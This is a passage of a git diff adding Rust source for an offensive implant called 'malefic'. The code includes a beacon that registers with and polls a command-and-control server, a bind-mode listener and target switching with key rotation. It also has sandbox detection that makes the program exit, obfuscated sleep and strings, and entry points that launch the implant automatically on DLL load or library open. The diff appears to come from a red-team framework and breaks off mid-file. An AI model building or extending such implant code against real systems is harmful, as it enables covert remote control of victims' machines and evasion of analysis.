+ "x86" => "x86", + _ => return, + }; + let obj_filename = format!("YY_Thunks_for_{}.obj", compat_target); + let obj_path = resources_dir + .join("YY-Thunks-Objs") + .join("objs") + .join(arch_folder) + .join(&obj_filename); + + if obj_path.exists() { + println!("cargo:rustc-link-arg={}", obj_path.display()); + println!( + "cargo:warning=Linking YY-Thunks for {} on {}", + compat_target, target_arch + ); + } +} + +fn compile_resources(resources_dir: &PathBuf) { + let rc_path = resources_dir.join("malefic.rc"); + if !rc_path.exists() { + println!("cargo:warning=malefic.rc not found, skipping resource compilation"); + return; + } + + use embed_resource::CompilationResult; + match embed_resource::compile(&rc_path, embed_resource::NONE) { + CompilationResult::Ok => println!("cargo:warning=embed_resource compiled successfully"), + CompilationResult::Failed(e) => println!("cargo:warning=embed_resource failed: {}", e), + CompilationResult::NotAttempted(reason) => { + println!("cargo:warning=RC compiler not found: {}", reason) + } + CompilationResult::NotWindows => {} + } +} diff --git a/malefic/src/beacon.rs b/malefic/src/beacon.rs new file mode 100644 index 0000000..f487b8c --- /dev/null +++ b/malefic/src/beacon.rs @@ -0,0 +1,534 @@ +use futures::{pin_mut, FutureExt}; +use futures_timer::Delay; +use malefic_stub::channel::MaleficChannel; +use malefic_stub::stub::{build_connection_for_server, connect_timeout_for_server, MaleficStub}; +use std::time::Duration; + +use malefic_common::debug; +use malefic_config as config; +#[allow(unused_imports)] +use malefic_gateway::obfstr::obfstr; +use malefic_proto::proto::implantpb::Spites; +use malefic_proto::proto::modulepb; +use malefic_transport::{Client, ConnectionRunner, DialerExt, ServerManager, Target}; + +use crate::session_loop::{enforce_guardrail, BeaconStrategy, SessionError, SessionLoop}; + +/// Compute the session ID the same way the server does: MD5(instance_id bytes). +/// This allows the REM agent alias to match the server-side session ID exactly. +#[cfg(feature = "transport_rem")] +fn md5_session_id(instance_id: &[u8; 4]) -> String { + use md5::{Digest, Md5}; + let hash = Md5::digest(instance_id); + hash.iter().map(|b| format!("{:02x}", b)).collect() +} + +pub struct MaleficBeacon { + pub stub: MaleficStub, + pub client: Client, + pub server_manager: ServerManager, +} + +#[malefic_gateway::obfuscate] +impl MaleficBeacon { + pub fn new(instance_id: [u8; 4], channel: MaleficChannel) -> anyhow::Result { + #[cfg(all( + feature = "transport_rem", + not(feature = "transport_tcp"), + not(feature = "transport_http") + ))] + let client = { + let session_id = md5_session_id(&instance_id); + Client::new_with_alias(Some(&session_id)).map_err(|e| { + debug!("[beacon] Failed to initialize client: {}", e); + e + })? + }; + + #[cfg(not(all( + feature = "transport_rem", + not(feature = "transport_tcp"), + not(feature = "transport_http") + )))] + let client = Client::new().map_err(|e| { + debug!("[beacon] Failed to initialize client: {}", e); + e + })?; + + let server_manager = ServerManager::new(config::SERVER_CONFIGS.clone()); + + Ok(Self::new_with_parts( + MaleficStub::new(instance_id, channel), + client, + server_manager, + )) + } + + pub fn new_with_parts( + stub: MaleficStub, + client: Client, + server_manager: ServerManager, + ) -> Self { + MaleficBeacon { + stub, + client, + server_manager, + } + } + + pub async fn run(&mut self) -> Result<(), ()> { + #[cfg(debug_assertions)] + let _defer = malefic_common::errors::Defer::new(obfstr!("[beacon] beacon exit!")); + + loop { + match self.run_once().await { + Ok(()) => { + self.server_manager.mark_success(); + self.apply_pending_switch().await; + } + Err(SessionError::Transport(_e)) => { + debug!("[beacon] Transport error: {:?}", _e); + self.apply_pending_switch().await; + + if !self.server_manager.mark_failure() { + debug!("[beacon] All targets exhausted, exiting"); + return Err(()); + } + + let sleep_time = if let Some(backoff) = self.server_manager.backoff_secs() { + debug!("[beacon] Backing off, sleeping {}s", backoff); + Duration::from_secs(backoff) + } else { + Duration::from_millis(self.stub.meta.new_heartbeat()) + }; + Delay::new(sleep_time).await; + } + Err(SessionError::Handler(_e)) => { + debug!("[beacon] Handler error: {:?}", _e); + let sleep_time = Duration::from_millis(self.stub.meta.new_heartbeat()); + Delay::new(sleep_time).await; + } + } + } + } + + pub async fn run_once(&mut self) -> Result<(), SessionError> { + let server_config = self + .server_manager + .current() + .ok_or(SessionError::Transport( + malefic_transport::TransportError::ConnectionError, + ))? + .clone(); + + self.stub + .apply_server_defaults(server_config.server_config()); + + self.register(&server_config) + .await + .map_err(SessionError::Transport)?; + + let connection = self + .establish_connection(&server_config) + .await + .map_err(SessionError::Transport)?; + + self.run_session(connection).await + } + + pub async fn run_session( + &mut self, + connection: malefic_transport::Connection, + ) -> Result<(), SessionError> { + let mut runner = ConnectionRunner::new(connection); + let mut session_loop = SessionLoop::new(BeaconStrategy); + session_loop.run(&mut self.stub, &mut runner).await + } + + /// Beacon registration: actively connect to server and register. + /// Uses a separate connection (consumed by exchange) — the server + /// protocol expects register and session on distinct connections. + async fn register(&mut self, target: &Target) -> Result<(), malefic_transport::TransportError> { + enforce_guardrail(); + debug!("[beacon] Current target: {:#?}", target.server_config()); + + let transport = self.connect_with_timeout(target).await?; + + let connection = build_connection_for_server( + transport, + self.stub.meta.get_uuid(), + self.stub.meta.get_encrypt_key(), + self.stub.meta.get_decrypt_key(), + target.server_config(), + ) + .map_err(|e| malefic_transport::TransportError::ConnectFailed(e.to_string()))?; + + let register_spites = Spites { + spites: vec![self.stub.register_spite()], + }; + + connection.send_only(register_spites).await?; + debug!("[beacon] Registered (send-only)"); + Ok(()) + } + + /// Establish connection + async fn establish_connection( + &mut self, + target: &Target, + ) -> Result { + let transport = self.connect_with_timeout(target).await?; + + build_connection_for_server( + transport, + self.stub.meta.get_uuid(), + self.stub.meta.get_encrypt_key(), + self.stub.meta.get_decrypt_key(), + target.server_config(), + ) + .map_err(|e| malefic_transport::TransportError::ConnectFailed(e.to_string())) + } + + pub async fn apply_pending_switch(&mut self) { + let pending = match self.stub.take_pending_switch() { + Some(p) => p, + None => return, + }; + + let targets = ServerManager::targets_from_proto(&pending.targets); + if targets.is_empty() { + debug!("[beacon] Switch ignored: no valid targets"); + return; + } + + // Verify primary target with a real transport connection (full + // encryption + protocol handshake). If a new key is provided we + // apply it temporarily; on failure we roll it back. + let primary = &targets[0]; + let old_key = if !pending.key.is_empty() { + let prev = malefic_config::get_transport_key(); + malefic_config::update_runtime_key(pending.key.clone()); + Some(prev) + } else { + None + }; + + if !self.try_register_to(primary).await { + debug!( + "[beacon] Switch aborted: primary target {} unreachable via full transport", + primary.address() + ); + // Roll back the key change so the current session stays valid. + if let Some(prev) = old_key { + malefic_config::update_runtime_key(prev); + } + return; + } + // Verification succeeded — key stays updated (if changed). + + match modulepb::SwitchAction::try_from(pending.action) { + Ok(modulepb::SwitchAction::Replace) => { + debug!("[beacon] Switch REPLACE: {} targets", targets.len()); + self.server_manager.replace_target_entries(targets); + } + Ok(modulepb::SwitchAction::Add) => { + debug!("[beacon] Switch ADD: {} targets", targets.len()); + self.server_manager.add_target_entries(targets); + } + Ok(modulepb::SwitchAction::Switch) => { + let first = targets.into_iter().next().unwrap(); + debug!("[beacon] Switch SWITCH to: {}", first.address()); + self.server_manager.switch_to_target(first); + } + Err(_) => { + debug!( + "[beacon] Switch unknown action {}, treating as REPLACE", + pending.action + ); + self.server_manager.replace_target_entries(targets); + } + } + } + + /// Attempt a full transport-level register to a specific target. + /// Returns true if the register packet was delivered successfully. + async fn try_register_to(&mut self, target: &Target) -> bool { + debug!( + "[beacon] Verifying target via full register: {}", + target.address() + ); + + let transport = match self.connect_with_timeout(target).await { + Ok(t) => t, + Err(_e) => { + debug!("[beacon] Verify connect failed: {:?}", _e); + return false; + } + }; + + let connection = match build_connection_for_server( + transport, + self.stub.meta.get_uuid(), + self.stub.meta.get_encrypt_key(), + self.stub.meta.get_decrypt_key(), + target.server_config(), + ) { + Ok(c) => c, + Err(_e) => { + debug!("[beacon] Verify build_connection failed: {:?}", _e); + return false; + } + }; + + let register_spites = Spites { + spites: vec![self.stub.register_spite()], + }; + + match connection.send_only(register_spites).await { + Ok(()) => { + debug!("[beacon] Verify register succeeded: {}", target.address()); + true + } + Err(_e) => { + debug!("[beacon] Verify register send failed: {:?}", _e); + false + } + } + } + + async fn connect_with_timeout( + &mut self, + target: &Target, + ) -> Result { + if matches!( + &target.server_config().transport_config, + config::TransportConfig::Rem(_) + ) { + // REM already enforces its own connect timeout around the + // handshake/reinitialization path. Avoid stacking a second + // outer timeout on top of the same operation. + return self + .client + .connect(target) + .await + .map_err(|e| malefic_transport::TransportError::ConnectFailed(e.to_string())); + } + + let connect_timeout = connect_timeout_for_server(target.server_config()); + let connect = self.client.connect(target).fuse(); + let timeout = Delay::new(connect_timeout).fuse(); + pin_mut!(connect, timeout); + + futures::select! { + result = connect => result.map_err(|e| malefic_transport::TransportError::ConnectFailed(e.to_string())), + _ = timeout => Err(malefic_transport::TransportError::ConnectFailed(format!( + "connect timeout after {:?} to {}", + connect_timeout, + target.address() + ))), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use malefic_config::{ProtocolType, ServerConfig, TransportConfig}; + use malefic_proto::proto::modulepb; + use malefic_transport::ServerManager; + + fn make_target(addr: &str) -> modulepb::Target { + modulepb::Target { + address: addr.to_string(), + ..Default::default() + } + } + + #[test] + fn targets_to_configs_basic_tcp() { + let targets = vec![make_target("1.2.3.4:5001")]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + assert_eq!(configs[0].address, "1.2.3.4:5001"); + assert_eq!(configs[0].protocol, ProtocolType::Tcp); + assert!(matches!( + configs[0].transport_config, + TransportConfig::Tcp(_) + )); + } + + #[test] + fn tcp_connect_timeout_matches_session_deadline() { + let transport_config = TransportConfig::Tcp(malefic_config::TcpConfig {}); + let config = ServerConfig { + address: "127.0.0.1:5001".to_string(), + protocol: ProtocolType::Tcp, + session_config: malefic_config::SessionConfig::default_for_transport( + &transport_config, + false, + ), + transport_config, + tls_config: None, + proxy_config: None, + domain_suffix: None, + }; + + assert_eq!(connect_timeout_for_server(&config), Duration::from_secs(3)); + } + + #[test] + fn targets_to_configs_http() { + let targets = vec![modulepb::Target { + address: "10.0.0.1:8080".to_string(), + protocol: "http".to_string(), + http_config: Some(modulepb::TargetHttpConfig { + method: "GET".to_string(), + path: "/api".to_string(), + version: "2".to_string(), + headers: std::collections::HashMap::new(), + }), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + assert_eq!(configs[0].protocol, ProtocolType::Http); + match &configs[0].transport_config { + TransportConfig::Http(http) => { + assert_eq!(http.method, "GET"); + assert_eq!(http.path, "/api"); + assert_eq!(http.version, "2"); + } + _ => panic!("expected Http transport config"), + } + } + + #[test] + fn targets_to_configs_rem() { + let targets = vec![modulepb::Target { + address: "rem://local".to_string(), + protocol: "rem".to_string(), + rem_config: Some(modulepb::TargetRemConfig { + link: "pipe_name".to_string(), + }), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + assert_eq!(configs[0].protocol, ProtocolType::REM); + match &configs[0].transport_config { + TransportConfig::Rem(rem) => { + assert_eq!(rem.link, "pipe_name"); + } + _ => panic!("expected Rem transport config"), + } + } + + #[test] + fn targets_to_configs_tls_explicit_enable() { + let targets = vec![modulepb::Target { + address: "1.2.3.4:443".to_string(), + tls_config: Some(modulepb::TargetTlsConfig { + enable: true, + version: "1.3".to_string(), + sni: "test.com".to_string(), + skip_verify: false, + }), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + let tls = configs[0] + .tls_config + .as_ref() + .expect("tls_config should be Some"); + assert!(tls.enable); + assert_eq!(tls.sni, "test.com"); + assert_eq!(tls.version, "1.3"); + assert!(!tls.skip_verification); + } + + #[test] + fn targets_to_configs_tls_none_defaults_disabled() { + let targets = vec![make_target("1.2.3.4:5001")]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + let tls = configs[0] + .tls_config + .as_ref() + .expect("tls_config should be Some"); + assert!( + !tls.enable, + "switch targets with no TLS config should default to disabled" + ); + assert!(tls.skip_verification); + } + + #[test] + fn targets_to_configs_filters_empty_address() { + let targets = vec![make_target(""), make_target("1.2.3.4:5001")]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + assert_eq!(configs[0].address, "1.2.3.4:5001"); + } + + #[test] + fn targets_to_configs_proxy() { + // With proxy + let targets = vec![modulepb::Target { + address: "1.2.3.4:5001".to_string(), + proxy_config: Some(modulepb::TargetProxyConfig { + r#type: "socks5".to_string(), + host: "proxy.com".to_string(), + port: 1080, + username: "u".to_string(), + password: "p".to_string(), + }), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + let proxy = configs[0] + .proxy_config + .as_ref() + .expect("proxy_config should be Some"); + assert_eq!(proxy.proxy_type, "socks5"); + assert_eq!(proxy.host, "proxy.com"); + assert_eq!(proxy.port, 1080); + assert_eq!(proxy.username, "u"); + assert_eq!(proxy.password, "p"); + + // With empty host → proxy_config is None + let targets_no_proxy = vec![modulepb::Target { + address: "1.2.3.4:5001".to_string(), + proxy_config: Some(modulepb::TargetProxyConfig { + r#type: "socks5".to_string(), + host: "".to_string(), + port: 1080, + username: "".to_string(), + password: "".to_string(), + }), + ..Default::default() + }]; + let configs2 = ServerManager::targets_to_server_configs(&targets_no_proxy); + assert!( + configs2[0].proxy_config.is_none(), + "empty proxy host should result in None" + ); + } + + #[test] + fn targets_to_configs_domain_suffix() { + // Non-empty domain_suffix + let targets = vec![modulepb::Target { + address: "1.2.3.4:5001".to_string(), + domain_suffix: "example.com".to_string(), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs[0].domain_suffix.as_deref(), Some("example.com")); + + // Empty domain_suffix → None + let targets_empty = vec![make_target("1.2.3.4:5001")]; + let configs2 = ServerManager::targets_to_server_configs(&targets_empty); + assert!(configs2[0].domain_suffix.is_none()); + } +} diff --git a/malefic/src/bind.rs b/malefic/src/bind.rs new file mode 100644 index 0000000..e9990f0 --- /dev/null +++ b/malefic/src/bind.rs @@ -0,0 +1,139 @@ +use malefic_common::debug; +use malefic_config as config; +use malefic_stub::channel::MaleficChannel; +use malefic_stub::stub::{build_connection, MaleficStub}; +use malefic_transport::{ConnectionRunner, Listener, ListenerExt}; + +use crate::session_loop::{enforce_guardrail, BindStrategy, SessionLoop}; + +pub struct MaleficBind { + stub: MaleficStub, + listener: Listener, + initialized: bool, +} + +impl MaleficBind { + pub async fn new(channel: MaleficChannel) -> anyhow::Result { + // Get listening address from config + let addr = config::SERVER_CONFIGS + .first() + .ok_or_else(|| anyhow::anyhow!("No server configured for bind mode"))? + .address + .clone(); + + // Bind listening address + let listener = Listener::bind(addr.as_str()) + .await + .map_err(|e| { + debug!("Failed to bind listener: {:#?}", e); + panic!("Failed to bind listener"); + }) + .unwrap(); + + debug!("Listening on {}", addr); + + Ok(Self::new_with_listener( + MaleficStub::new([0; 4], channel), + listener, + )) + } + + pub fn new_with_listener(stub: MaleficStub, listener: Listener) -> Self { + MaleficBind { + stub, + listener, + initialized: false, + } + } + + pub async fn run(&mut self) -> Result<(), ()> { + loop { + match self.run_once().await { + Ok(()) => {} + Err(e) => { + debug!("[bind] Runner error: {:?}, retrying accept...", e); + continue; + } + } + } + } + + pub async fn run_once(&mut self) -> anyhow::Result<()> { + enforce_guardrail(); + + let transport = self + .listener + .accept() + .await + .map_err(|e| anyhow::anyhow!("Failed to accept connection: {:#?}", e))?; + + let connection = build_connection( + transport, + self.stub.meta.get_uuid(), + self.stub.meta.get_encrypt_key(), + self.stub.meta.get_decrypt_key(), + ) + .map_err(|e| anyhow::anyhow!("Failed to build connection: {:#?}", e))?; + + let runner = self.init(connection).await?; + self.initialized = true; + self.run_session(runner).await + } + + pub async fn run_session(&mut self, mut runner: ConnectionRunner) -> anyhow::Result<()> { + let mut session_loop = SessionLoop::new(BindStrategy); + session_loop.run(&mut self.stub, &mut runner).await?; + Ok(()) + } + + /// Bind initialization: receive init request and send registration response + /// + /// Returns initialized ConnectionRunner (Heartbeat mode) + async fn init( + &mut self, + connection: malefic_transport::Connection, + ) -> anyhow::Result { + // Split connection to manually handle init flow + let (mut reader, mut writer) = connection.split(); + + // 1. Receive init request + let received_spites = reader + .receive() + .await + .map_err(|e| anyhow::anyhow!("Failed to receive init request: {:?}", e))?; + + debug!( + "[bind init] Received init request with {} spites", + received_spites.spites.len() + ); + + // 2. Process init + self.stub + .handler(received_spites) + .await + .map_err(|e| anyhow::anyhow!("Failed to handle init spites: {:?}", e))?; + + // 3. Prepare response + let response_spites = self + .stub + .prepare_spites() + .await + .map_err(|e| anyhow::anyhow!("Failed to prepare response: {:?}", e))?; + + // 4. Send response + writer + .send(response_spites) + .await + .map_err(|e| anyhow::anyhow!("Failed to send register response: {:?}", e))?; + + debug!( + "[bind init] Init success with session_id: {:?}", + self.stub.meta.get_uuid() + ); + + // 5. Create Heartbeat Runner (default mode) + let runner = ConnectionRunner::new_from_split(reader, writer); + + Ok(runner) + } +} diff --git a/malefic/src/bootstrap.rs b/malefic/src/bootstrap.rs new file mode 100644 index 0000000..473cca5 --- /dev/null +++ b/malefic/src/bootstrap.rs @@ -0,0 +1,41 @@ +use futures::channel::mpsc; +use futures::try_join; + +use malefic_scheduler::collector::Collector; +use malefic_scheduler::Scheduler; +use malefic_stub::channel::MaleficChannel; + +pub async fn run(instance_id: [u8; 4]) { + malefic_common::block_on(8, 32, async move { run_internal(instance_id).await }); +} + +async fn run_internal(_instance_id: [u8; 4]) { + let (collector_response_sender, collector_response_receiver) = mpsc::unbounded(); + + let mut collector = Collector::new(collector_response_sender); + let mut scheduler = Scheduler::new(collector.get_data_sender()); + let channel = MaleficChannel { + data_sender: collector.get_data_sender(), + request_sender: collector.get_request_sender(), + response_receiver: collector_response_receiver, + scheduler_task_sender: scheduler.get_task_sender(), + scheduler_task_ctrl: scheduler.get_task_ctrl_sender(), + }; + + #[cfg(all(feature = "beacon", not(feature = "bind")))] + let mut client = match crate::beacon::MaleficBeacon::new(_instance_id, channel) { + Ok(c) => c, + Err(_) => return, + }; + + #[cfg(feature = "bind")] + let mut client = match crate::bind::MaleficBind::new(channel).await { + Ok(c) => c, + Err(_e) => { + malefic_common::debug!("[malefic] Failed to create bind client: {}", _e); + return; + } + }; + + let _ = try_join!(scheduler.run(), collector.run(), client.run()); +} diff --git a/malefic/src/lib.rs b/malefic/src/lib.rs new file mode 100644 index 0000000..055b40f --- /dev/null +++ b/malefic/src/lib.rs @@ -0,0 +1,91 @@ +#[cfg(feature = "beacon")] +mod beacon; +#[cfg(feature = "bind")] +mod bind; +mod bootstrap; +mod session_loop; + +#[cfg(feature = "beacon")] +pub use beacon::MaleficBeacon; +#[cfg(feature = "bind")] +pub use bind::MaleficBind; + +pub use bootstrap::run; + +// ============================================================================ +// Platform entry points (cdylib / shared library only) +// ============================================================================ + +fn spawn_malefic_runtime() { + static ONCE: std::sync::Once = std::sync::Once::new(); + ONCE.call_once(|| { + std::thread::spawn(|| { + use futures::executor::block_on; + let _ = block_on(async { run(malefic_proto::get_sid()).await }); + }); + }); +} + +/// Windows: entry callable via rundll32 +#[cfg(target_os = "windows")] +#[no_mangle] +pub extern "system" fn Run(_hwnd: isize, _hinst: isize, _cmdline: *const u8, _show: i32) { + spawn_malefic_runtime(); +} + +/// Windows: blocking entry, keeps caller alive until run completes +#[cfg(target_os = "windows")] +#[no_mangle] +pub extern "system" fn RunBlocking(_hwnd: isize, _hinst: isize, _cmdline: *const u8, _show: i32) { + use futures::executor::block_on; + let _ = block_on(async { run(malefic_proto::get_sid()).await }); +} + +/// Windows: auto trigger via LoadLibrary (DllMain) +#[cfg(target_os = "windows")] +#[no_mangle] +pub extern "system" fn DllMain( + _hinst: usize, + reason: u32, + _reserved: *mut core::ffi::c_void, +) -> i32 { + const DLL_PROCESS_ATTACH: u32 = 1; + if reason == DLL_PROCESS_ATTACH { + spawn_malefic_runtime(); + } + 1 +} + +/// Linux: export `run` symbol for dlsym; constructor auto-spawns thread on dlopen +#[cfg(target_os = "linux")] +#[export_name = "run"] +pub extern "C" fn _lib_run_export() { + spawn_malefic_runtime(); +} + +#[cfg(target_os = "linux")] +extern "C" fn init_constructor() { + spawn_malefic_runtime(); +} + +#[cfg(target_os = "linux")] +#[used] +#[link_section = ".init_array"] +static INIT_ARRAY: extern "C" fn() = init_constructor; + +/// macOS: export `run` symbol for dlsym; constructor auto-spawns thread on dlopen +#[cfg(target_os = "macos")] +#[export_name = "run"] +pub extern "C" fn _lib_run_export() { + spawn_malefic_runtime(); +} + +#[cfg(target_os = "macos")] +extern "C" fn init_constructor() { + spawn_malefic_runtime(); +} + +#[cfg(target_os = "macos")] +#[used] +#[link_section = "__DATA,__mod_init_func"] +static INIT_ARRAY: extern "C" fn() = init_constructor; diff --git a/malefic/src/main.rs b/malefic/src/main.rs new file mode 100644 index 0000000..6c2f55e --- /dev/null +++ b/malefic/src/main.rs @@ -0,0 +1,32 @@ +#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] + +#[cfg(feature = "beacon")] +mod beacon; +#[cfg(feature = "bind")] +mod bind; +mod bootstrap; +mod session_loop; + +use futures::executor::block_on; + +fn main() { + block_on(async { + #[cfg(all(feature = "anti_sandbox", target_os = "windows"))] + { + use malefic_evader::sandbox::{detect_sandbox, perform_computational_task}; + use std::process::exit; + let sandbox_result = detect_sandbox(); + if sandbox_result.is_sandbox { + perform_computational_task(4294836225); + exit(0); + } + } + + #[cfg(feature = "malefic-autorun")] + if let Err(_e) = malefic_autorun::run() { + malefic_common::debug!("Failed to execute autorun: {}", _e); + } + + bootstrap::run(malefic_proto::get_sid()).await; + }); +} diff --git a/malefic/src/session_loop.rs b/malefic/src/session_loop.rs new file mode 100644 index 0000000..4853a5f --- /dev/null +++ b/malefic/src/session_loop.rs @@ -0,0 +1,792 @@ +use std::time::{Duration, Instant}; + +use async_trait::async_trait; +use futures_timer::Delay; +use malefic_common::debug; +use malefic_proto::proto::implantpb::{spite::Body, Spites}; +use malefic_stub::stub::MaleficStub; +use malefic_transport::{ConnectionRunner, TransportError}; + +const DUPLEX_IDLE_POLL_INTERVAL: Duration = Duration::from_millis(1); + +/// Typed session errors so callers can distinguish network failures from handler bugs. +#[derive(Debug, thiserror::Error)] +pub enum SessionError { + #[error("transport: {0}")] + Transport(#[from] TransportError), + #[error("handler: {0}")] + Handler(anyhow::Error), +} + +pub fn enforce_guardrail() { + #[cfg(feature = "guardrail")] + { + malefic_guardrail::Guardrail::check(malefic_sysinfo::get_sysinfo()); + } +} + +#[async_trait] +pub trait SessionIo { + async fn send(&mut self, spites: Spites) -> Result<(), TransportError>; + async fn receive(&mut self) -> Result, TransportError>; + fn try_receive(&mut self) -> Result, TransportError>; + fn upgrade(&mut self) -> Result<(), TransportError>; + async fn downgrade(&mut self) -> Result<(), TransportError>; +} + +#[async_trait] +impl SessionIo for ConnectionRunner { + async fn send(&mut self, spites: Spites) -> Result<(), TransportError> { + ConnectionRunner::send(self, spites).await + } + + async fn receive(&mut self) -> Result, TransportError> { + ConnectionRunner::receive(self).await + } + + fn try_receive(&mut self) -> Result, TransportError> { + ConnectionRunner::try_receive(self) + } + + fn upgrade(&mut self) -> Result<(), TransportError> { + ConnectionRunner::upgrade(self) + } + + async fn downgrade(&mut self) -> Result<(), TransportError> { + ConnectionRunner::downgrade(self).await + } +} + +#[async_trait] +pub trait SessionActor { + async fn prepare_request(&mut self) -> anyhow::Result; + async fn prepare_spites(&mut self) -> anyhow::Result; + async fn handle(&mut self, spites: Spites) -> anyhow::Result<()>; + fn reset_keepalive_state(&mut self); + fn keepalive_enabled(&self) -> bool; + fn contains_key_exchange_response(&self, spites: &Spites) -> bool; + fn mark_key_exchange_response_sent(&mut self); + fn should_reconnect_after_key_exchange(&mut self) -> bool; + fn should_reconnect_for_switch(&self) -> bool; + fn heartbeat_interval(&self) -> Duration; + fn create_ping(&self) -> Spites; +} + +#[async_trait] +impl SessionActor for MaleficStub { + async fn prepare_request(&mut self) -> anyhow::Result { + MaleficStub::prepare_request(self).await + } + + async fn prepare_spites(&mut self) -> anyhow::Result { + MaleficStub::prepare_spites(self).await + } + + async fn handle(&mut self, spites: Spites) -> anyhow::Result<()> { + MaleficStub::handler(self, spites).await + } + + fn reset_keepalive_state(&mut self) { + MaleficStub::reset_keepalive_state(self); + } + + fn keepalive_enabled(&self) -> bool { + self.keepalive_enabled + } + + fn contains_key_exchange_response(&self, spites: &Spites) -> bool { + MaleficStub::contains_key_exchange_response(spites) + } + + fn mark_key_exchange_response_sent(&mut self) { + #[cfg(feature = "secure")] + self.meta.mark_key_exchange_response_sent(); + } + + fn should_reconnect_after_key_exchange(&mut self) -> bool { + MaleficStub::should_reconnect_after_key_exchange(self) + } + + fn should_reconnect_for_switch(&self) -> bool { + MaleficStub::should_reconnect_for_switch(self) + } + + fn heartbeat_interval(&self) -> Duration { + Duration::from_millis(self.meta.new_heartbeat()) + } + + fn create_ping(&self) -> Spites { + MaleficStub::create_ping() + } +} + +#[async_trait] +pub trait SessionStrategy { + async fn heartbeat_iteration(&mut self, actor: &mut A, runner: &mut R) -> anyhow::Result<()>; + + async fn after_iteration(&mut self, _actor: &mut A) -> anyhow::Result<()> { + Ok(()) + } +} + +#[derive(Default)] +pub struct BeaconStrategy; + +#[async_trait] +impl SessionStrategy for BeaconStrategy +where + A: SessionActor + Send, + R: SessionIo + Send, +{ + async fn heartbeat_iteration(&mut self, actor: &mut A, runner: &mut R) -> anyhow::Result<()> { + let request = actor.prepare_request().await?; + send_actor_spites(actor, runner, request).await?; + + if let Some(response) = runner.receive().await? { + actor.handle(response).await?; + } + + Ok(()) + } + + async fn after_iteration(&mut self, actor: &mut A) -> anyhow::Result<()> { + let heartbeat_interval = actor.heartbeat_interval(); + #[cfg(all(target_os = "windows", feature = "sleep_obf"))] + { + use malefic_os_win::sleep::{obf_sleep_ms, ObfMode, Obfuscation}; + obf_sleep_ms( + core::ptr::null_mut(), + 0, + heartbeat_interval.as_millis() as u64, + Obfuscation::Timer, + ObfMode::Rwx | ObfMode::Heap, + ); + } + #[cfg(not(all(target_os = "windows", feature = "sleep_obf")))] + { + Delay::new(heartbeat_interval).await; + } + Ok(()) + } +} + +#[derive(Default)] +pub struct BindStrategy; + +#[async_trait] +impl SessionStrategy for BindStrategy +where + A: SessionActor + Send, + R: SessionIo + Send, +{ + async fn heartbeat_iteration(&mut self, actor: &mut A, runner: &mut R) -> anyhow::Result<()> { + if let Some(request) = runner.receive().await? { + actor.handle(request).await?; + let response = actor.prepare_request().await?; + send_actor_spites(actor, runner, response).await?; + } + + Ok(()) + } +} + +enum LoopControl { + Continue, + Reconnect, +} + +pub struct SessionLoop { + strategy: S, +} + +impl SessionLoop { + pub fn new(strategy: S) -> Self { + Self { strategy } + } +} + +impl SessionLoop { + pub async fn run(&mut self, actor: &mut A, runner: &mut R) -> Result<(), SessionError> + where + A: SessionActor + Send, + R: SessionIo + Send, + S: SessionStrategy + Send, + { + actor.reset_keepalive_state(); + + if actor.keepalive_enabled() + && matches!( + Self::run_keepalive_session(actor, runner) + .await + .map_err(classify_error)?, + LoopControl::Reconnect + ) + { + return Ok(()); + } + + loop { + self.strategy + .heartbeat_iteration(actor, runner) + .await + .map_err(classify_error)?; + + if actor.should_reconnect_after_key_exchange() { + return Ok(()); + } + + if actor.should_reconnect_for_switch() { + return Ok(()); + } + + if actor.keepalive_enabled() { + match Self::run_keepalive_session(actor, runner) + .await + .map_err(classify_error)? + { + LoopControl::Continue => {} + LoopControl::Reconnect => return Ok(()), + } + } + + self.strategy + .after_iteration(actor) + .await + .map_err(classify_error)?; + } + } + + async fn run_keepalive_session( + actor: &mut A, + runner: &mut R, + ) -> anyhow::Result + where + A: SessionActor + Send, + R: SessionIo + Send, + { + runner.upgrade()?; + let outcome = Self::run_duplex(actor, runner).await?; + runner.downgrade().await?; + Ok(outcome) + } + + async fn run_duplex(actor: &mut A, runner: &mut R) -> anyhow::Result + where + A: SessionActor + Send, + R: SessionIo + Send, + { + let interval = actor.heartbeat_interval(); + let mut last_heartbeat = Instant::now(); + + loop { + let mut had_activity = false; + + if let Some(request) = runner.try_receive()? { + actor.handle(request).await?; + had_activity = true; + } + + let spites = actor.prepare_spites().await?; + if !spites.spites.is_empty() { + send_actor_spites(actor, runner, spites).await?; + last_heartbeat = Instant::now(); + had_activity = true; + } else if last_heartbeat.elapsed() >= interval { + send_actor_spites(actor, runner, actor.create_ping()).await?; + last_heartbeat = Instant::now(); + } + + if actor.should_reconnect_after_key_exchange() { + return Ok(LoopControl::Reconnect); + } + + if actor.should_reconnect_for_switch() { + return Ok(LoopControl::Reconnect); + } + + if !actor.keepalive_enabled() { + return Ok(LoopControl::Continue); + } + + if !had_activity { + Delay::new(DUPLEX_IDLE_POLL_INTERVAL).await; + } + } + } +} + +/// Classify an `anyhow::Error` as transport or handler. +fn classify_error(e: anyhow::Error) -> SessionError { + match e.downcast::() { + Ok(te) => SessionError::Transport(te), + Err(other) => SessionError::Handler(other), + } +} + +async fn send_actor_spites( + actor: &mut A, + runner: &mut R, + spites: Spites, +) -> anyhow::Result<()> +where + A: SessionActor + Send, + R: SessionIo + Send, +{ + #[cfg(debug_assertions)] + if is_ping_only(&spites) { + debug!("[session] Sending ping"); + } + + let sent_key_exchange = actor.contains_key_exchange_response(&spites); + runner.send(spites).await?; + if sent_key_exchange { + actor.mark_key_exchange_response_sent(); + } + Ok(()) +} + +fn is_ping_only(spites: &Spites) -> bool { + matches!( + spites.spites.as_slice(), + [spite] if matches!(spite.body.as_ref(), Some(Body::Ping(_))) + ) +} + +#[cfg(test)] +mod tests { + use std::collections::VecDeque; + use std::time::Duration; + + use async_trait::async_trait; + use 